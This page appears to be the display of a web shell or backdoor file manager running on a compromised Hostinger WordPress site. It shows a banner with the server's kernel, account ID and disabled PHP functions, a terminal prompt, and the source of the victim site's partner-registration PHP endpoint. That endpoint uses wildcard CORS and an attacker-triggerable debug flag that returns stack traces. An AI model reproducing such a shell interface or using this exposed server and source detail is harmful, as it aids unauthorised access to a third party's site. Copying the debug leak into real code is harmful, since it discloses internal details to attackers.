🚀 Hostinger Optimized
🖥️ Server: LiteSpeed
💻 System: Linux in-mum-web1643.main-hosting.eu 5.14.0-611.42.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 24 05:30:20 EDT 2026 x86_64
👤 User: u621169360 (621169360)
🐘 PHP: 8.2.30
🚫 Disabled: system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail

💻 Terminal

📁 /home/u621169360/domains/agriexpertt.com/public_html/wp-admin
$

📄 partner_registration.php

📁 Path: /home/u621169360/domains/agriexpertt.com/public_html/mobile/Flutter/partner_registration.php
📊 Size: 5.54 KB
🔒 Perm: 0644
📝 MIME: text/x-php
<?php
// Enable CORS headers
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: GET, POST");
header("Access-Control-Allow-Headers: Content-Type");
header('Content-Type: application/json');

require_once 'db.php';

$response = array();

// Check if debug mode is on
$debug_mode = isset($_POST['debug']) && $_POST['debug'] === 'true';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    try {
        // Collect debug information
        $debug_info = [];
        $debug_info['post_data'] = $_POST;
        $debug_info['server_info'] = [
            'php_version' => phpversion(),
            'server_software' => $_SERVER['SERVER_SOFTWARE'],
            'request_time' => date('Y-m-d H:i:s')
        ];

        // Sanitize and validate input
        $full_name = filter_input(INPUT_POST, 'full_name', FILTER_SANITIZE_STRING);
        
        // Add input validation to debug info
        $debug_info['sanitized_full_name'] = $full_name;
        $business_name = filter_input(INPUT_POST, 'business_name', FILTER_SANITIZE_STRING);
        $district = filter_input(INPUT_POST, 'district', FILTER_SANITIZE_STRING);
        $address = filter_input(INPUT_POST, 'complete_address', FILTER_SANITIZE_STRING);
        $phone = filter_input(INPUT_POST, 'phone', FILTER_SANITIZE_STRING);
        $email = filter_input(INPUT_POST, 'email', FILTER_SANITIZE_EMAIL);
        $gst_number = filter_input(INPUT_POST, 'gst_number', FILTER_SANITIZE_STRING);
        $business_license = filter_input(INPUT_POST, 'business_license', FILTER_SANITIZE_STRING);
        $years_in_business = filter_input(INPUT_POST, 'years_in_business', FILTER_VALIDATE_INT);
        $product_portfolio = filter_input(INPUT_POST, 'product_portfolio', FILTER_SANITIZE_STRING);
        $storage_capacity = filter_input(INPUT_POST, 'storage_capacity', FILTER_SANITIZE_STRING);
        $monthly_sales = filter_input(INPUT_POST, 'monthly_sales', FILTER_SANITIZE_STRING);

        //Validate required fields
        if (empty($full_name) || empty($business_name) || empty($district) || 
            empty($address) || empty($phone) || empty($email)) {
            throw new Exception("Missing required fields");
        }

        // Validate phone number (10 digits, starts with 6-9)
        if (!preg_match('/^[6-9]\d{9}$/', $phone)) {
            throw new Exception("Invalid phone number");
        }

        // Validate email
        if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            throw new Exception("Invalid email address");
        }

        // Prepare SQL to prevent duplicate registrations
        $check_sql = "SELECT id FROM partners WHERE phone = :phone OR email = :email";
        $check_stmt = $pdo->prepare($check_sql);
        $check_stmt->bindParam(':phone', $phone);
        $check_stmt->bindParam(':email', $email);
        $check_stmt->execute();

        if ($check_stmt->rowCount() > 0) {
            throw new Exception("Phone number or email already registered");
        }

        // Prepare SQL insert statement
        $sql = "INSERT INTO partners (
            full_name, business_name, district, complete_address, 
            phone, email, gst_number, business_license, 
            years_in_business, product_portfolio, 
            storage_capacity, monthly_sales_volume
        ) VALUES (
            :full_name, :business_name, :district, :address, 
            :phone, :email, :gst_number, :business_license, 
            :years_in_business, :product_portfolio, 
            :storage_capacity, :monthly_sales
        )";
        
        $stmt = $pdo->prepare($sql);
        
        // Bind parameters
        $stmt->bindParam(':full_name', $full_name);
        $stmt->bindParam(':business_name', $business_name);
        $stmt->bindParam(':district', $district);
        $stmt->bindParam(':address', $address);
        $stmt->bindParam(':phone', $phone);
        $stmt->bindParam(':email', $email);
        $stmt->bindParam(':gst_number', $gst_number);
        $stmt->bindParam(':business_license', $business_license);
        $stmt->bindParam(':years_in_business', $years_in_business);
        $stmt->bindParam(':product_portfolio', $product_portfolio);
        $stmt->bindParam(':storage_capacity', $storage_capacity);
        $stmt->bindParam(':monthly_sales', $monthly_sales);
        
        // Execute the statement
        $stmt->execute();
        
        // Prepare success response
        $response = [
            'success' => true,
            'message' => 'Partner registration successful',
            'partner_id' => $pdo->lastInsertId()
        ];
    } catch(PDOException $e) {
        // Database-specific error
        $debug_info['error_type'] = 'PDOException';
        $debug_info['error_message'] = $e->getMessage();
        $debug_info['error_trace'] = $e->getTraceAsString();

        $response = [
            'success' => false,
            'message' => 'Database error: ' . $e->getMessage(),
            'debug_info' => $debug_mode ? json_encode($debug_info) : null
        ];
    } catch(Exception $e) {
        // General validation or other errors
        $debug_info['error_type'] = 'Exception';
        $debug_info['error_message'] = $e->getMessage();
        $debug_info['error_trace'] = $e->getTraceAsString();

        $response = [
            'success' => false,
            'message' => $e->getMessage(),
            'debug_info' => $debug_mode ? json_encode($debug_info) : null
        ];
    }
} else {
    // Invalid request method
    $response = [
        'success' => false,
        'message' => 'Invalid request method'
    ];
}

// Send JSON response
echo json_encode($response);
exit();
?>
← Back📥 Raw✏️ Edit🔒 Chmod
✨ File Manager Magic ✨